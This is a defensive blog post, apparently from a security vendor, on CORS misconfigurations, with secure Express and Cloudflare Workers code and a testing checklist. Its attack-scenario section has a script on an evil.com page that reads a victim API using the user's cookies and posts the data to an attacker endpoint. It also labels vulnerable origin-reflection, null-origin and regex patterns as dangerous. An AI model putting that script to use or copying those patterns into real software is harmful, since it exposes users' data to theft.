← Back to all posts

CORS Security: The Complete Guide for API Developers

Learn why 75% of APIs we scan have CORS issues and how to fix them with production-ready code examples.

Cross-Origin Resource Sharing (CORS) is one of the most misunderstood security mechanisms in modern web development. Get it wrong, and you're opening your API to attacks. Get it right, and you're providing secure, flexible access to your resources.

What is CORS?

CORS is a browser security feature that controls how web pages from one origin can access resources from another origin. When your frontend at app.example.com tries to call your API at api.example.com, CORS policies determine whether that request succeeds or fails.

The CORS Security Spectrum

❌ Dangerous (Never Do This)

// Reflects any origin + allows credentials
Access-Control-Allow-Origin: * (dynamically set to request origin)
Access-Control-Allow-Credentials: true

Why it's critical: Any malicious site can make authenticated requests to your API, stealing user data or performing actions on their behalf.

Real-world impact: We've seen APIs that check authentication but have wildcard CORS. An attacker can:

  1. Host a malicious page
  2. User visits while logged into your service
  3. Malicious page makes authenticated API calls
  4. Steals data, modifies account, transfers funds

⚠️ Risky (Think Twice)

// Wildcard without credentials
Access-Control-Allow-Origin: *

Use case: Public read-only APIs where no sensitive data is returned.

Risks:

  • Makes it easy to scrape your API
  • Can't use cookies or Authorization headers
  • No protection against automated abuse

✅ Secure (Best Practice)

// Explicit origin whitelist
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

if (allowedOrigins.includes(request.headers.origin)) {
  response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
  response.headers['Access-Control-Allow-Credentials'] = 'true';
}

Why it's better:

  • Only your approved frontends can access the API
  • Supports authenticated requests securely
  • Easy to audit and maintain

Common CORS Vulnerabilities

1. Origin Reflection Without Validation

Vulnerable code:

// DANGEROUS: Reflects any origin
response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
response.headers['Access-Control-Allow-Credentials'] = 'true';

Attack scenario:

<!-- Attacker's page at evil.com -->
<script>
fetch('https://api.victim.com/user/data', {
  credentials: 'include'  // Sends victim's cookies
})
.then(r => r.json())
.then(data => {
  // Send stolen data to attacker
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
</script>

2. Null Origin Acceptance

Some frameworks accept null as a valid origin:

// DANGEROUS
if (origin === 'null') {
  response.headers['Access-Control-Allow-Origin'] = 'null';
}

Attack: Sandboxed iframes and data: URLs send Origin: null. Accepting this creates a bypass.

3. Regex Validation Bugs

// DANGEROUS: Regex doesn't anchor properly
const allowedPattern = /https:\/\/.*\.example\.com/;
if (allowedPattern.test(request.headers.origin)) {
  // Accepts: https://evil.com?fake=.example.com
  // Accepts: https://example.com.evil.com
}

Fix:

// Proper validation
const allowedPattern = /^https:\/\/([a-z0-9-]+\.)?example\.com$/;

Secure CORS Implementation

Node.js + Express

const express = require('express');
const app = express();

const ALLOWED_ORIGINS = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  
  if (ALLOWED_ORIGINS.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Credentials', 'true');
    res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.header('Access-Control-Max-Age', '86400'); // 24 hours
  }
  
  if (req.method === 'OPTIONS') {
    return res.sendStatus(204);
  }
  
  next();
});

Cloudflare Workers

async function handleRequest(request) {
  const origin = request.headers.get('Origin');
  const allowedOrigins = [
    'https://app.example.com',
    'https://admin.example.com'
  ];
  
  const headers = new Headers();
  
  if (allowedOrigins.includes(origin)) {
    headers.set('Access-Control-Allow-Origin', origin);
    headers.set('Access-Control-Allow-Credentials', 'true');
  }
  
  if (request.method === 'OPTIONS') {
    headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    headers.set('Access-Control-Max-Age', '86400');
    return new Response(null, { status: 204, headers });
  }
  
  const response = await fetch(request);
  const newResponse = new Response(response.body, response);
  
  if (allowedOrigins.includes(origin)) {
    newResponse.headers.set('Access-Control-Allow-Origin', origin);
    newResponse.headers.set('Access-Control-Allow-Credentials', 'true');
  }
  
  return newResponse;
}

CORS Testing & Verification

Manual Testing

# Test with a specific origin
curl -H "Origin: https://app.example.com" \
     -H "Access-Control-Request-Method: POST" \
     -H "Access-Control-Request-Headers: Content-Type" \
     -X OPTIONS \
     https://api.example.com/endpoint

# Test with malicious origin
curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: POST" \
     -X OPTIONS \
     https://api.example.com/endpoint

Expected behavior:

  • ✅ Allowed origins return Access-Control-Allow-Origin: <origin>
  • ❌ Disallowed origins return NO CORS headers (or error)

Best Practices Checklist

  • Use explicit origin whitelist — Never dynamically reflect origins without validation
  • Validate origins strictly — Use exact string matching, not regex
  • Never accept null — Reject requests with Origin: null
  • Limit Access-Control-Allow-Methods — Only allow HTTP methods your API supports
  • Set Access-Control-Max-Age — Cache preflight responses (24 hours)
  • Use HTTPS only — Never allow HTTP origins in production
  • Test thoroughly — Verify both allowed and disallowed origins
  • Monitor for abuse — Log CORS violations and investigate patterns

OWASP API Security Implications

OWASP API3:2023 - Broken Object Property Level Authorization

Misconfigured CORS can bypass API authorization:

  • API checks authentication but allows any origin
  • Malicious site makes authenticated request
  • User's browser includes their session cookie
  • API returns data thinking it's the legitimate frontend

Defense in depth:

  1. Proper CORS configuration (this post)
  2. CSRF tokens for state-changing operations
  3. SameSite cookie attribute
  4. Additional request validation (Referer, custom headers)

Conclusion

CORS is your first line of defense against cross-origin attacks. The rules are simple:

  1. Default deny — Block all origins by default
  2. Explicit allow — Whitelist only your trusted origins
  3. Test everything — Verify both allowed and blocked cases
  4. Never reflect blindly — Always validate before setting Access-Control-Allow-Origin

ThreeStack helps fintech and payment companies build secure APIs. Get a free security assessment or read more about our services.

Test Your API Security Now

Our free scanner checks for 34 security issues including CORS, authentication, and rate limiting.

Run Free Security Scan →